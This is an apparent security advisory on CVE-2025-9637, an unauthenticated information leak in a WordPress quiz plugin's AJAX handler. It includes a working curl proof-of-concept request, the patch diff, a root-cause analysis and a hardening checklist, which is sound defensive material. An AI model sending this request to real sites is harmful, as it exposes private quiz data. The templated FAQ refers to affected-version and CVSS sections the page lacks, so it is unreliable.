SECURITY ADVISORY / 01

CVE-2025-9637 Exploit & Vulnerability Analysis

Complete CVE-2025-9637 security advisory with proof of concept (PoC), exploit details, and patch analysis.

cve_patchdiff:quiz-master-next NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

Attacker needs no authentication.

curl -s -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=qsm_get_quiz_to_reload&quiz_id=123' \
  -H 'Content-Type: application/x-www-form-urlencoded'

The vulnerable endpoint returns quiz data instead of 0 or an authorization error. In practice, the response contains unpublished/private quiz metadata and question markup from QSM, confirming unauthorized access to quiz details.

What the Patch Did

Before:

add_action( 'wp_ajax_qsm_get_quiz_to_reload', array( $this, 'qsm_get_quiz_to_reload' ) );
add_action( 'wp_ajax_nopriv_qsm_get_quiz_to_reload', array( $this, 'qsm_get_quiz_to_reload' ) );

After:

add_action( 'wp_ajax_qsm_get_quiz_to_reload', array( $this, 'qsm_get_quiz_to_reload' ) );

The patch removed the unauthenticated AJAX hook registration. That means admin-ajax.php?action=qsm_get_quiz_to_reload can now only be invoked by a logged-in user, restoring the WordPress AJAX authentication boundary.

Root Cause

This was a missing access-control check in WordPress AJAX registration, a CWE-862 / CWE-639 issue. The attacker-controlled action=qsm_get_quiz_to_reload parameter was accepted by the WordPress AJAX dispatcher and routed to qsm_get_quiz_to_reload() even for unauthenticated requests because the plugin registered a wp_ajax_nopriv_* callback. The trust boundary crossed unchecked was “public HTTP request → privileged quiz reload handler”, allowing unauthenticated users to read unpublished/private/password-protected quiz details.

Why It Works

The load-bearing fix is the removal of the wp_ajax_nopriv_qsm_get_quiz_to_reload hook. Without that hook, WordPress will not dispatch this AJAX action for non-logged-in users. The remaining wp_ajax_qsm_get_quiz_to_reload registration still allows authenticated users to reload quizzes as intended. The patch likely also relies on internal quiz status checks in qsm_get_quiz_to_reload() itself, but the critical security change is simply not exposing that callback to anonymous requests.

Hardening Checklist

  • register anonymous AJAX endpoints only with wp_ajax_nopriv_* when public access is explicitly required.
  • enforce capability checks inside callbacks with current_user_can(), for example current_user_can('edit_qsm_quizzes').
  • protect password-protected content with post_password_required() before processing submissions or exporting quiz data.
  • require and validate nonces for state-changing AJAX actions using check_ajax_referer().
  • verify post status and visibility before returning quiz metadata to any AJAX request.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-9637

Frequently asked questions about CVE-2025-9637

What is CVE-2025-9637?

CVE-2025-9637 is a security vulnerability. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-9637?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-9637. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-9637 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-9637?

CVE-2025-9637 — check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-9637?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls.

What is the CVSS score for CVE-2025-9637?

The severity rating and CVSS scoring for CVE-2025-9637 is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.